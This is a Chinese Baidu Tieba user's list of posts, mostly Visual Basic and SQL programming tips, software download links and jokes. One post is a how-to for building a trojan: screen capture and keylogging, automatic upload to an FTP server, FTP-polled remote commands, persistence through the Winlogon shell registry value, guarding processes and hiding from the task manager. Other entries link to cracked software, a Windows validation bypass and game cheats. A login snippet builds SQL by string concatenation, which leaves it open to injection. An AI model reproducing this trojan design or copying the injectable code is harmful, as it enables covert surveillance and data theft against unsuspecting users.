随风散忆
随风散忆
关注数: 1
粉丝数: 1
发帖数: 192
关注贴吧数: 3
大佬们这是什么鱼🐠
光明大陆礼包放送 这个活动很给力,小伙伴们不要错过哦!
光明大陆礼包放送 这个活动很给力,小伙伴们不要错过哦!
自定义覆盖物如果禁止被清除 自定义的覆盖如何实现像Marker的 disableMassClear()的方法?
『天涯杂谈』请留下你今天的QQ/MSN签名,分享转瞬而逝的网络心情 http://cache.tianya.cn/publicforum/content/free/1/1037549.shtml
经典 女人8岁,你要编故事哄她睡,18岁你要编故事骗她和你睡,28岁不用故事就和你睡,38岁她会编故事骗你和她睡,48岁你要编故事不和她睡。
[人物]PS恶搞“体坛贾宝玉” 奥尼尔田亮姚明哪版最像 http://cache.tianya.cn/publicforum/content/no04/1/662743.shtml
[其它]真人演示A--N罩杯的真正含义(转载) http://cache.tianya.cn/publicforum/content/no04/1/657746.shtml
[搞笑]当女生厕所在男生厕所隔壁时......(转载) http://cache.tianya.cn/publicforum/content/no04/1/662066.shtml
[图像处理]轻松玩抠图:图像去除背景方法与技巧 http://design.yesky.com/artist/184/2039184.shtml
[资源]DLL文件下载大全 http://www.mindows.org/Article/Class5/Class22/1620.html
[操作系统]Windows Vista Sidebar下载-vista左面侧边栏工具 下载地址http://www.mydown.com/soft/255/255860.html
[资源]操作系统 http://blog.xunlei.com/web/category.html?uin=dongzhouwang&category_id=36&cid=AB0FF93411BF75D7989755D53FFBAB84FAC683DA
[资源]Microsoft Office Project 2003 简体中文版 http://60.28.178.201/down?cid=4F8F1C7D5B9EED023DAE3091B60681540F86E43A&t=2&fmt=-
MSSQL生成整个数据库的SQL脚本的工具 scptxfr.exe的路径要正确declare @cMd varchar(1000)set @cmd = 'master.dbo.xp_cmdshell ' + '''c:\"Microsoft ' +'SQL Server"' +'\MSSQL\Upgrade\scptxfr.exe ' +' /s YourServerName /p YourSAPassword /I /d YourDBName /f ' +'c:\YourDBName.sql'''exec (@cmd) 工具参数说明:SCPTXFR /s /d {[/I] | [/P ]}{[/F ] | [/f <single script file>]}/q /r /O /T /A /E /C <CodePage> /N /X /H /G /Y /?/s - Indicates the source server to connect to./d - Indicates the source database to script./I - Use integrated security./P - Password to use for 'sa'. Note that login ID is always 'sa'.If /P not used or if a password does not follow the flag,a null password is used. Not compatible with /I./F - The directory into which the script files should be generated.This means one file is generated for each category of objects./f - The single file in which all script is to be saved.Not compatible with /F./q - Use quoted identifiers in the generated scripts./r - Include drop statements for the objects in the script./O - Generate OEM script files. Cannot be used with /A or /T.This is the default behavior./T - Generate UNICODE script files. Cannot be used with /A or /O./A - Generate ANSI script files. Cannot be used with /T or /O./? - Command line help./E - Stop scripting when error occurs.Default behavior is to log the error, and continue./C - Indicate the CodePage which overrides the server CodePage./N - Generate ANSI PADDING./X - Script SPs and XPs to separate files./H - Generate script files without header (default: with header)./G - Use the specified server name as the prefix for the generated output files(to handle dashes in server name)./Y - Generate script for Extended Properties (valid for 8.x server only).
[资源]Adobe Dreamweaver CS3 汉化特别版┊建立Web站点和应用程序 http://www.cncrk.com/downinfo/6664.html
[操作系统]Windows XP正版验证补丁 V1.0┊可支持IE7.0/WMP11.0的安 http://greendown.cn/soft/4944.html
[XML]XMLSpy 2005用户手册---用户手册 http://www.yzcode.com/Article/xmlstu/200602/Article_872.html
打造自己的个性印章 www.eoshow.com
[VB]写给初学者[字符串处理函数] 字符串处理函数: mid(字符串,从第几个开始,长度) ByRef 在[字符串]中[从第几个开始]取出[长度个字符串] 例如 mid("小欣无敌",1,3) 则返回 "小欣无" instr(从第几个开始,字符串1,字符串2) ByVal 从规定的位置开始查找,返回字符串2在字符串1中的位置 例如 instr(1,"小欣无敌","小") 则返回 1,instr(2,"小欣无敌","小"),则返回 0 。 0 表示未找到 InStrRev(字符串1,字符串2,从第几个开始) ByVal 从规定的位置开始,从后住前查找,返回字符串2在字符串1中的位置,此处注意,虽是从后住前查找,但是返回的值还是从前往后算的。 例如 instrRev("小欣无敌","小",2) 则返回 2 ; instrRev("小欣无敌","欣",1) 则返回 0 ,因为它从"小欣无敌"的第1个字开始往前查找,所以找不到 。0 表示未找到 left(字符串,长度) ByVal 从[字符串]的左边开始返回[长度]个字符 例如 Left("小欣无敌,3) 则返回 "小欣无" right(字符串,长度) ByVal 从[字符串]的右边开始返回[长度]个字符 例如 Right("小欣无敌",3) 则返回 "欣无敌" ucase(字符串) ByVal 返回[字符串]的大写形式,只对英文字符有效 例如 ucase("xiaoXINwuDi") 则返回 "XIAOXINWUDI" lcase(字符串) ByVal 返回[字符串]的小写形式,只对英文字符有效 例如 lcase("xiaoXINwuDi") 则返回 "xiaoxinwudi" asc(字符) Byval返回[字符]的ascii编码,若有多个字符,则只返回首字符的ascii编码,和Chr()函数是一个可逆的过程 例如 asc("小") 则返回 -12127 ; asc("小欣无敌") 也返回 -12127 chr(ASCii编码) Byval 返回[Ascii]编码所代表的字符,和Chr()函数是一个可逆的过程 例如 chr(-12127) 则返回 "小" ;chr(asc("小")) 则返回"小"(这里是为了说明asc和chr的可逆性,例用此特性可以加密文本) trim(字符串) Byval 返回去掉了前、后之后的[字符串] 例如 trim(" 小 欣 无敌 ") 则返回 "小 欣 无敌" ,中间的空格不受任何影响 string(个数,字符) Byval 返回[个数]个[字符] 例如 string(3,"小") 则返回 "小小小" , 而 string(3,"小欣无敌") 也返回 "小",只有首字符才有效 space(个数) Byval 返回[个数]个空格 例如 space(5) 则返回 " " strconv(字符串,转换的类型) Byval 将字符串转成指定的类型。常用的类型只有两个,vbwide 半角转成全角,vbNarrow 全角转成半角 例如 strconv("xiao",vbwide) 则返回 "XIAO",而strconv("XIAO",vbnarrow) 则返回 "XIAO" '备注 vbwide = 4 ,vbnarrow = 8 len(字符串) Byval 返回[字符串]的长度 例如 len("小欣无敌") 则返回 4
[外挂]关于用VB制作游戏外挂(只要绿色), http://post.baidu.com/f?kz=99198485
[VB]IP地址合法性检查 Function IP_Nummer(ip As String) As String Dim nrs() As String If Len(Replace(ip, ".", "")) = (Len(ip) - 3) Then nrs = Split(ip, ".") If nrs(0) >= 256 Or nrs(1) >= 256 Or nrs(2) >= 256 Or nrs(3) >= 256 Then MsgBox "错误的IP地址!", vbCritical + vbOKOnly, "错误" Exit Function End If a = nrs(0) * 256 a = a * 256 a = a * 256 b = nrs(1) * 256 b = b * 256 c = nrs(2) * 256 d = nrs(3) nummer = (a) + (b) + (c) + (d) IP_Nummer = nummer Else MsgBox "错误的IP地址!", vbCritical + vbOKOnly, "错误" End IfEnd Function
[VB]VB制作无敌木马 1.木马的功能<1>有间隔监控屏幕:参考http://www.play78.com/bbs/dispbbs.asp?boardID=14&ID=658&page=1文章,拦截到的图片保存为BMP格式,文件名称为 “DATE_TIME.dll” 保存到System32/WinHosts/(具有迷惑性,至于如何得到system32或system路径请参考http://www.openitpower.com/wenzhang/117/11946_1.html文章<2>得到按键信息: 参考http://topic.csdn.net/t/20020514/22/722560.html文章,隔10分钟保存一次,为txt格式(只要你看得懂),文件名称“KB_DATE_TIME.oca”<3>注意:监控<1>是有间隔 <2>是实时<4>上面的东西西 自动上传到你申请的免费FTP里面 哈哈 你就等着吧!其他让你能够控制的功能自己添加吧 比如 控制、修改注册表 建议使用反链接技术 就是你将控制指令放到FTp里面 然后木马每隔一段时间访问一下FTP并获得指令 并执行 哈哈 这样不容易被发现 因为是访问INTERNET而不是别的东西访问你!这样有效的增加了掩护2.隐藏木马<1>要有一个守护进程 并且互相守护 拷贝木马程序和守护文件到system32下 改名,并将副本改后缀为dll 这样使用unlocker之类的东西 可以从这里恢复并重新 保护 具体这里不详细说明 看你怎么造化了 <2>开机启动不要放到run里面 给你一个更好的地方 这里运行连安全模式都会加载!具体注册表:(读写注册表参考 源代码区vb reg)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ shell键值 看到了吧,里面是“explorer.exe” 如果有别的 很有可能你中病毒了 我们也利用这一点 注意:要修改这个shell键值为原键值+空格+你的程序路径(带英文双引号) 嘿嘿!这样~<3>要设置一个自杀东西 否则小心你自己的电脑哦!最好远程控制自杀,要自杀就先修改一个注册表 然后守护进程看到了有这个键值 就unload me 并end 然后再木马本生关闭 然后安全删除(参考“安全删除自身”文章)<4>不能显示应用程序 即:me.visiable=false ,me.showintaskbar=true(这个最好在属性中设置)然后unload里面加入 判断 是否为自己代码调用关闭 (参考http://www.play78.com/bbs/dispbbs.asp?boardID=8&ID=1359&page=6 即:unloadmode=1则关闭 否则就shell 自己路径)这样能一定程度防治任务管理器基本关闭如果强制关闭也有守护进程!
[JAVA]DOM4J 使用简介 http://www.ninesky.net/new/bcwd/Java/15426.html DOM4J是dom4j.org出品的一个开源XML解析包,它的网站中这样定义:Dom4j is an easy to use, open source library for working with XML, XPath and XSLT on the Java platform using the Java Collections Framework and with full support for DOM, SAX and JAXP.Dom4j是一个易用的、开源的库,用于XML,XPath和XSLT。它应用于Java平台,采用了Java集合框架并完全支持DOM,SAX和JAXP。DOM4J使用起来非常简单。只要你了解基本的XML-DOM模型,就能使用。然而他自己带的指南只有短短一页(html),不过说的到挺全。国内的中文资料很少。因而俺写这个短小的教程方便大家使用,这篇文章仅谈及基本的用法,如需深入的使用,请……自己摸索或查找别的资料。之前看过IBM developer社区的文章(参见附录),提到一些XML解析包的性能比较,其中DOM4J的性能非常出色,在多项测试中名列前茅。(事实上DOM4J的官方文档中也引用了这个比较)所以这次的项目中我采用了DOM4J作为XML解析工具。在国内比较流行的是使用JDOM作为解析器,两者各擅其长,但DOM4J最大的特色是使用大量的接口,这也是它被认为比JDOM灵活的主要原因。大师不是说过么,“面向接口编程”。目前使用DOM4J的已经越来越多。如果你善于使用JDOM,不妨继续用下去,只看看本篇文章作为了解与比较,如果你正要采用一种解析器,不如就用DOM4J吧。 它的主要接口都在org.dom4j这个包里定义:Attribute Attribute定义了XML的属性 Branch Branch为能够包含子节点的节点如XML元素(Element)和文档(Docuemnts)定义了一个公共的行为, CDATA CDATA 定义了XML CDATA 区域 CharacterData CharacterData是一个标识借口,标识基于字符的节点。如CDATA,Comment, Text. Comment Comment 定义了XML注释的行为 Document 定义了XML文档 DocumentType DocumentType 定义XML DOCTYPE声明 Element Element定义XML 元素 ElementHandler ElementHandler定义了 Element 对象的处理器 ElementPath 被 ElementHandler 使用,用于取得当前正在处理的路径层次信息 Entity Entity定义 XML entity Node Node为所有的dom4j中XML节点定义了多态行为 NodeFilter NodeFilter 定义了在dom4j节点中产生的一个滤镜或谓词的行为(predicate) ProcessingInstruction ProcessingInstruction 定义 XML 处理指令. Text Text 定义XML 文本节点. Visitor Visitor 用于实现Visitor模式. XPath XPath 在分析一个字符串后会提供一个XPath 表达式 看名字大致就知道它们的涵义如何了。要想弄懂这套接口,关键的是要明白接口的继承关系:interface java.lang.Cloneable interface org.dom4j.Node interface org.dom4j.Attribute interface org.dom4j.Branch interface org.dom4j.Document interface org.dom4j.Element interface org.dom4j.CharacterData interface org.dom4j.CDATA interface org.dom4j.Comment interface org.dom4j.Text interface org.dom4j.DocumentType interface org.dom4j.Entity interface org.dom4j.ProcessingInstruction 一目了然,很多事情都清楚了。大部分都是由Node继承来的。知道这些关系,将来写程序就不会出现ClassCastException了。下面给出一些例子(部分摘自DOM4J自带的文档),简单说一下如何使用。1. 读取并解析XML文档:读写XML文档主要依赖于org.dom4j.io包,其中提供DOMReader和SAXReader两类不同方式,而调用方式是一样的。这就是依靠接口的好处。 // 从文件读取XML,输入文件名,返回XML文档
[VB]VB从零开始编外挂(完整实践版) https://www.mydatabus.com/faux_proc/download_proc.php?fn=VB%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%BC%96%E5%A4%96%E6%8C%82%E5%AE%8C%E6%95%B4%E5%AE%9E%E8%B7%B5%E7%89%88%20.chm&f=Files/
[VB]用VisualBasic创建多线程应用程序 原文地址: http://book.2fw.cn/Article/chengxu/VB/200608/40412.html问题背景: 有时候我们做程序时有这样的需求:有一个需要运行时间很长的循环,那么程序只有等待循环运行结束后才执行别的程序代码,这样机器一直处于循环之中,而不能响应别的事情,对CPU资源来说是一种浪费,那么可不可以既让循环执行,又可以执行程序另外的一部分代码呢?答案是可以的,那就要用到多线程了。 相关知识: 进程:是指程序在一个数据集合上运行的过程,是操作系统进行资源分配和调度运行的一个独立单位,简单来说进程就是程序的一次执行。 进程的两个基本属性: 1.进程是一个可拥有资源的独立单位; 2. 进程同时又是一个可以独立调度和分配的基本单位。 操作系统中引入进程的目的是为了使多个程序并发执行,以改善资源利用率及提高系统的吞吐量。 线程:线是进程中的一个实体,是被系统独立调度和分配的基本单位。线程自己基本上不拥有系统资源,只拥有一些在运行中必不可少的资源,但它可与同属一个进程的其他线程共享进程所拥有的全部资源。同一个进程中的多个线程之间可以并发执行。 问题实现: VB可不可以创建多线程呢?答案:VB本身不可以,但用API函数VB可以实现。 在VB中创建线程用到以下几个API函数: '创建线程API '此API经过改造,lpThreadAttributes改为Any型,lpStartAddress改为传值引用: '因为函数入口地址是由形参变量传递,如果用传址那将传递形参变量的地址而不是函数的入口地址 ' 参数dwStackSize为应用程序堆栈大小,lpStartAddress为函数入口地址 Private Declare Function CreateThread Lib 'kernel32' (ByVal lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, LpthreadId As Long) As Long '终止线程API Private Declare Function TerminateThread Lib 'kernel32' (ByVal hThread As Long, ByVal dwExitCode As Long) As Long '激活线程API,参数hThread为CreateThread创建的线程句柄 Private Declare Function ResumeThread Lib 'kernel32' (ByVal hThread As Long) As Long '挂起线程API Private Declare Function SuspendThread Lib 'kernel32' (ByVal hThread As Long) As Long 了解完上面的API函数后请看下面的实例: 实例效果:此实例实现三个图片框的背景色一起变色。 实例的窗体布局见图: 程序的工程窗口: 源代码如下 窗体中的代码: Option Explicit '开始 Private Sub Command1_Click() On Error Resume Next With myThreadleft .Initialize AddressOf Fillleft '传递过程地址给线程 .ThreadEnabled = True End With With myThreadright .Initialize AddressOf Fillright .ThreadEnabled = True End With With myThreadbottom .Initialize AddressOf Fillbottom .ThreadEnabled = True End With MsgBox '多线程正在运行...,看看图片框控件的变色效果!', 64, '信息' '终止线程运行 Set myThreadleft = Nothing Set myThreadright = Nothing Set myThreadbottom = Nothing End Sub '结束 Private Sub Command2_Click() Unload Me End Sub 模块中的代码: Option Explicit '时间计数API Private Declare Function GetTickCount Lib 'kernel32' () As Long '声明cls_thread类的对象变量 Public myThreadleft As New cls_thread, myThreadright As New cls_thread, myThreadbottom As New cls_thread
[VB]最精简的目录浏览对话框[支持多个扩展名] http://tiebacommit.baidu.com/f?kz=198132645
[资源]我的相关资源 我的博客 http://hi.baidu.com/cdwm/我的藏宝室http://www.chucangshi.com/?cdwm#我的聚宝盆http://cdws.gbaopan.com/
[JAVA]java工具共享资源 http://www.sdaudi.cn/sdaudi/java.htm
[VB]在添加部件对话框中,所有的中文显示乱码的解决方法 VB乱码问题是由于安装了VB以后再安装OFFICE组件或IE5引起的,解决办法有二:一是如果需要OFFICE的话,先安装OFFICE,再安装VB;第二个办法是安装VB SP3,而不是SP1 FOR WIN2000。SP3可以下载,但太大,没必要,市面上许多光盘中都有。这两种办法我都试过,均可以,后一种办法还可以解决其他一些问题
[VB]怎样能使主板喇叭鸣叫 http://post.baidu.com/f?kz=197833746
[VB]GUID生成算法 - 全球唯一码 'returns: guid if successful; blank string otherwise.'unlike the guids in the registry, this function returns guid'without "-" characters. see comments for how to modify if you'want the dash.public function guid() as string dim lretval as long dim udtguid as guid dim spartone as string dim sparttwo as string dim spartthree as string dim spartfour as string dim idatalen as integer dim istrlen as integer dim ictr as integer dim sans as string on error goto errorhandler sans = "" lretval = cocreateguid(udtguid) if lretval = 0 then 'first 8 chars spartone = hex$(udtguid.partone) istrlen = len(spartone) idatalen = len(udtguid.partone) spartone = string((idatalen * 2) - istrlen, "0") _ & trim$(spartone) 'next 4 chars sparttwo = hex$(udtguid.parttwo) istrlen = len(sparttwo) idatalen = len(udtguid.parttwo) sparttwo = string((idatalen * 2) - istrlen, "0") _ & trim$(sparttwo) 'next 4 chars spartthree = hex$(udtguid.partthree) istrlen = len(spartthree) idatalen = len(udtguid.partthree) spartthree = string((idatalen * 2) - istrlen, "0") _ & trim$(spartthree) 'next 2 bytes (4 hex digits) 'final 16 chars for ictr = 0 to 7 spartfour = spartfour & _ format$(hex$(udtguid.partfour(ictr)), "00") next 'to create guid with "-", change line below to: 'sans = spartone & "-" & sparttwo & "-" & spartthree _ '& "-" & spartfour sans = spartone & sparttwo & spartthree & spartfour end if guid = sansexit functionerrorhandler:'return a blank string if there's an errorexit functionend function
[VB]wmp.dll控件常用属性 http://post.baidu.com/f?kz=146128768
[VB]【LITTLECZB 的 →●彩虹色●←渐变】 http://post.baidu.com/f?kz=188032258
[VB]【CBM666 的随机数小考验】 http://post.baidu.com/f?kz=200456321
[VB]程序结束时删除自身 Private Sub Form_UnLoad() Kill App.EXEName & ".exe" End Sub'只适用于程序存在可擦除的地方,像在光盘上的话就时效了。
[VB]获取主机名 Public Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long Public Function GetPcName() As String Dim compname As String, retval As Long compname = Space(255) retval = GetComputerName(compname, 255) compname = Left(compname, InStr(compname, vbNullChar) - 1) GetPcName = compname End Function
[VB]用vb实现DES加解密算法(三)--解密 http://www.ninesky.net/new/bcwd/VB/22401.html
[VB]用VB实现DES加解密算法(一)--定义 'DES加解密算法实现 vb版 v1.0''作者: agamem'日期: 2003年08月27日'''Option ExplicitPrivate Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)'置换表Private IP(63) As Byte 'IP置换码Private IP_1(63) As Byte 'IP-1置换码Private E(47) As Byte 'E膨胀码Private P(31) As Byte 'P变换码Private S1(3, 15) As Byte 'S盒1Private S2(3, 15) As Byte 'S盒2Private S3(3, 15) As Byte 'S盒3Private S4(3, 15) As Byte 'S盒4Private S5(3, 15) As Byte 'S盒5Private S6(3, 15) As Byte 'S盒6Private S7(3, 15) As Byte 'S盒7Private S8(3, 15) As Byte 'S盒8Private PC_1(55) As BytePrivate PC_2(47) As BytePrivate Lsi(16) As Byte '循环左移位Private Sub Class_Initialize()Dim i As Integer IP(0) = 57 ' 58 IP(1) = 49 ' 50 IP(2) = 41 ' 42 IP(3) = 33 ' 34 IP(4) = 25 ' 26 IP(5) = 17 ' 18 IP(6) = 9 ' 10 IP(7) = 1 ' 2 IP(8) = 59 ' 60 IP(9) = 51 ' 52 IP(10) = 43 ' 44 IP(11) = 35 ' 36 IP(12) = 27 ' 28 IP(13) = 19 ' 20 IP(14) = 11 ' 12 IP(15) = 3 ' 4 IP(16) = 61 ' 62 IP(17) = 53 ' 54 IP(18) = 45 ' 46 IP(19) = 37 ' 38 IP(20) = 29 ' 30 IP(21) = 21 ' 22 IP(22) = 13 ' 14 IP(23) = 5 ' 6 IP(24) = 63 ' 64 IP(25) = 55 ' 56 IP(26) = 47 ' 48 IP(27) = 39 ' 40 IP(28) = 31 ' 32 IP(29) = 23 ' 24 IP(30) = 15 ' 16 IP(31) = 7 ' 8 IP(32) = 56 ' 57 IP(33) = 48 ' 49 IP(34) = 40 ' 41 IP(35) = 32 ' 33 IP(36) = 24 ' 25 IP(37) = 16 ' 17 IP(38) = 8 ' 9 IP(39) = 0 ' 1 IP(40) = 58 ' 59 IP(41) = 50 ' 51 IP(42) = 42 ' 43 IP(43) = 34 ' 35 IP(44) = 26 ' 27 IP(45) = 18 ' 19 IP(46) = 10 ' 11 IP(47) = 2 ' 3 IP(48) = 60 ' 61 IP(49) = 52 ' 53 IP(50) = 44 ' 45 IP(51) = 36 ' 37 IP(52) = 28 ' 29 IP(53) = 20 ' 21 IP(54) = 12 ' 13 IP(55) = 4 ' 5 IP(56) = 62 ' 63 IP(57) = 54 ' 55 IP(58) = 46 ' 47 IP(59) = 38 ' 39 IP(60) = 30 ' 31 IP(61) = 22 ' 23 IP(62) = 14 ' 15 IP(63) = 6 ' 7 IP_1(0) = 39 ' 40 IP_1(1) = 7 ' 8 IP_1(2) = 47 ' 48 IP_1(3) = 15 ' 16 IP_1(4) = 55 ' 56 IP_1(5) = 23 ' 24 IP_1(6) = 63 ' 64 IP_1(7) = 31 ' 32 IP_1(8) = 38 ' 39 IP_1(9) = 6 ' 7 IP_1(10) = 46 ' 47 IP_1(11) = 14 ' 15 IP_1(12) = 54 ' 55 IP_1(13) = 22 ' 23 IP_1(14) = 62 ' 63 IP_1(15) = 30 ' 31 IP_1(16) = 37 ' 38 IP_1(17) = 5 ' 6
[VB]用vb实现DES加解密算法(二)--加密 'sCode 待加密字串'sKey 密钥字串(前8位有效)Public Sub DES_Encode(ByRef sCode() As Byte, ByVal sKey As String, ByRef bReturn() As Byte)Attribute DES_Encode.VB_Des cription = "加密 sCode:明文16进制串 sKey:密钥文本,前8位有效 bReturn:密文16进制串"Dim tempKey() As Byte '存放密钥Dim BinKey(63) As Byte '64位二进制原始密钥Dim KeyPC_1(55) As Byte '存放56位密钥Dim tempCode(7) As Byte '存放8位原始明文Dim tempReturn(7) As Byte '存放8位密文Dim BinCode(63) As Byte '存放64位明文Dim CodeIP(63) As Byte '存放IP置换结果Dim CodeE(47) As Byte 'E膨胀结果Dim CodeP(31) As Byte 'P变换结果Dim RetS(47) As Byte 'S盒运算32位结果Dim S(7) As Byte 'S盒运算8个结果Dim CodeS1(5) As Byte: Dim CodeS2(5) As Byte: Dim CodeS3(5) As Byte: Dim CodeS4(5) As ByteDim CodeS5(5) As Byte: Dim CodeS6(5) As Byte: Dim CodeS7(5) As Byte: Dim CodeS8(5) As ByteDim L0(31) As Byte: Dim R0(31) As ByteDim L1(31) As Byte: Dim R1(31) As ByteDim L2(31) As Byte: Dim R2(31) As ByteDim L3(31) As Byte: Dim R3(31) As ByteDim L4(31) As Byte: Dim R4(31) As ByteDim L5(31) As Byte: Dim R5(31) As ByteDim L6(31) As Byte: Dim R6(31) As ByteDim L7(31) As Byte: Dim R7(31) As ByteDim L8(31) As Byte: Dim R8(31) As ByteDim L9(31) As Byte: Dim R9(31) As ByteDim L10(31) As Byte: Dim R10(31) As ByteDim L11(31) As Byte: Dim R11(31) As ByteDim L12(31) As Byte: Dim R12(31) As ByteDim L13(31) As Byte: Dim R13(31) As ByteDim L14(31) As Byte: Dim R14(31) As ByteDim L15(31) As Byte: Dim R15(31) As ByteDim L16(31) As Byte: Dim R16(31) As ByteDim C0(27) As Byte: Dim D0(27) As Byte '16个密钥Dim C1(27) As Byte: Dim D1(27) As ByteDim C2(27) As Byte: Dim D2(27) As Byte:Dim C3(27) As Byte: Dim D3(27) As Byte:Dim C4(27) As Byte: Dim D4(27) As Byte:Dim C5(27) As Byte: Dim D5(27) As Byte:Dim C6(27) As Byte: Dim D6(27) As Byte:Dim C7(27) As Byte: Dim D7(27) As Byte:Dim C8(27) As Byte: Dim D8(27) As Byte:Dim C9(27) As Byte: Dim D9(27) As Byte:Dim C10(27) As Byte: Dim D10(27) As Byte:Dim C11(27) As Byte: Dim D11(27) As Byte:Dim C12(27) As Byte: Dim D12(27) As Byte:Dim C13(27) As Byte: Dim D13(27) As Byte:Dim C14(27) As Byte: Dim D14(27) As Byte:Dim C15(27) As Byte: Dim D15(27) As Byte:Dim C16(27) As Byte: Dim D16(27) As Byte:Dim C_D(55) As Byte 'Cn,Dn合并后的存放处Dim K1(47) As Byte: Dim K2(47) As Byte: Dim K3(47) As Byte: Dim K4(47) As Byte:Dim K5(47) As Byte: Dim K6(47) As Byte: Dim K7(47) As Byte: Dim K8(47) As Byte:Dim K9(47) As Byte: Dim K10(47) As Byte: Dim K11(47) As Byte: Dim K12(47) As Byte:Dim K13(47) As Byte: Dim K14(47) As Byte: Dim K15(47) As Byte: Dim K16(47) As Byte:Dim i As IntegerDim j As Integer'取密钥的前8字节tempKey = StrConv(sKey, vbFromUnicode)ReDim Preserve tempKey(7)For i = 0 To 7 BinKey(i * 8 + 0) = (tempKey(i) And &H80) \ &H80 BinKey(i * 8 + 1) = (tempKey(i) And &H40) \ &H40 BinKey(i * 8 + 2) = (tempKey(i) And &H20) \ &H20
[VB]获取本机所有的IP地址(外网、内网) Option Explicit Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Public Declare Function GetIpAddrTable Lib "IPHlpApi" (pIPAdrTable As Byte, pdwSize As Long, ByVal Sort As Long) As Long Const Max_IP = 5 Type IPINFO dwAddr As Long dwIndex As Long dwMask As Long dwBCastAddr As Long dwReasmSize As Long UnUsed1 As Integer UnUsed2 As Integer End Type Type MIB_IPADDRTABLE dEntrys As Long mIPInfo(Max_IP) As IPINFO End Type Type IP_Array mBuffer As MIB_IPADDRTABLE BufferLen As Long End Type Sub Main() Start End Sub Public Function ConvertAddressToString(longAddr As Long) As String Dim MyByte(3) As Byte Dim Cnt As Long CopyMemory MyByte(0), longAddr, 4 For Cnt = 0 To 3 ConvertAddressToString = ConvertAddressToString + CStr(MyByte(Cnt)) + "." Next Cnt ConvertAddressToString = Left$(ConvertAddressToString, Len(ConvertAddressToString) - 1) End Function Public Sub Start() Dim Ret As Long, Tel As Long Dim bBytes() As Byte Dim Listing As MIB_IPADDRTABLE On Error GoTo End1 GetIpAddrTable ByVal 0&, Ret, True If Ret <= 0 Then Exit Sub ReDim bBytes(0 To Ret - 1) As Byte GetIpAddrTable bBytes(0), Ret, False CopyMemory Listing.dEntrys, bBytes(0), 4 MsgBox "找到 " & Listing.dEntrys & " 个IP地址!", 0, "提示" For Tel = 0 To Listing.dEntrys - 1 CopyMemory Listing.mIPInfo(Tel), bBytes(4 + (Tel * Len(Listing.mIPInfo(0)))), Len(Listing.mIPInfo(Tel)) '拷贝整个结构到Listing MsgBox "IP地址:" & ConvertAddressToString(Listing.mIPInfo(Tel).dwAddr), 0, "提示" Next End End1: MsgBox "出错!", 0, "提示" End End Sub
[VB]TreeView自动选中下级 Sub CheckNodes(tv As TreeView, oNode As Node, Optional fChecked As Boolean = False, Optional lLevel As Long = 0) '打上勾 oNode.Checked = fChecked '有孩子的先抱孩子 If Not oNode.Child Is Nothing Then CheckNodes tv, oNode.Child, fChecked, lLevel + 1 End If '有兄弟的再抱兄弟 If (Not oNode.Next Is Nothing) And lLevel > 0 Then CheckNodes tv, oNode.Next, fChecked, lLevel End If End Sub Private Sub TreeView1_NodeCheck(ByVal Node As MSComctlLib.Node) Call CheckNodes(TreeView1, Node, Node.Checked) End Sub
蜘蛛侠3在线收看 http://99dy8.com/Film/Film1277.html
MOTO MPT4.4 http://www.apihook.net/software/mpt4.4.rar
[漏洞]利用百度知道来刷空间人气 信不信由你,无可不是开玩笑的。http://hi.baidu.com/cdwm/blog/item/ac3bdf543b4c0b59d1090678.html
[QQ]免费领取QQ秀的教程[视频教程] 这是真的,也为空间拉点人气。http://hi.baidu.com/cdwm
求一个控件,大家帮忙找找 类似于下面的这个工具条控件 可以分组 和qq的差不多 有的请发到我邮箱 谢谢
[email protected]
用real控件打造的一款MP3播放器,预览版。 用real控件打造的一款MP3播放器,含动态歌词,目前代码善未完成,完成后将开放源代码。请大家关注:http://hi.baidu.com/cdwm
小老爷们那点事儿(搞笑漫画)〈一〉 小老爷们那点事儿(搞笑漫画)〈一〉放松一下,来点轻松愉快的, .对了,这组漫画不是很色哦,但是本站女生以及大中专在校学生就不要看了 . 空间:http://hi.baidu.com/cdwm
建议去掉空间的文章字数有限制 同意的来顶
另起一贴原来的太乱了《QQ管理工具》 下载地址:http://www.chucangshi.com/??278
发一款QQ管理工具 下载地址:http://www.chucangshi.com/ContentPane.aspx?down=ok&filename=vb_dwqq.rar&filepath=cdwm%2f%d3%ce%cf%b7%cf%e0%b9%d8%2fvb_dwqq.rar&GUID=304FD2565A96E27D
在存储过程中如何获取动态sql的返回值 如: declare @_iTMP numeric declare @_sSQL varchar(50) set @_sSQL = 'select sum(num) from table1' 怎么把保存在@_sSQL的语句执行并把结果赋值给@_sTMP 谢谢 !
在存储过程中如何获取动态sql的返回值 如: declare @_iTMP numeric declare @_sSQL varchar(50) set @_sSQL = 'select sum(num) from table1' 怎么把保存在@_sSQL的语句执行并把结果赋值给@_sTMP 谢谢 !
求助:在存储过程中执行动态的SQL语句并确的返回值 如:declare @_iTMP numericdeclare @_sSQL varchar(50)set @_sSQL = 'select sum(num) from table1' 怎么把保存在@_sSQL的语句执行并把结果赋值给@_sTMP谢谢 !
求一个节点带小框可以打勾的treeview控件 求一个节点带小框可以打勾的treeview控件 有的发到
[email protected]
谢谢
2006下半年程序员考试报名的时间 在网上找了半天也没看到,有哪位兄弟知道的。还有听说没有中程考试了,消息确切吗?
关于数据库大家帮我看看~谢拉 由于没学过数据库看不懂以下的代码 能帮我加上注释马 最好能详细点的!Function GetPassword(username As String, Password As String) As Boolean Dim dbsUser As Database Dim rstEmployees As Recordset Dim SqlStr As String Set dbsUser = OpenDatabase("H:\程序设计\data\db.mdb") SqlStr = "select userpassword from user where username=" & username & "" Set rstEmployees = dbsUser.OpenRecordset(SqlStr, dbOpenForwardOnly) GetPassword = False If rstEmployees.RecordCount > 0 Then If Password = rstEmployees.Fields(0).Value Then GetPassword = True End If End If rstEmployees.Close dbsUser.CloseEnd Function
有什么控件可以在text中加图片 就像QQ 聊天窗口一样可以加入表情图片的文本控件
请教 用vb加密和解密文本 请教 用vb加密和解密文本 那位高手指点
1
下一页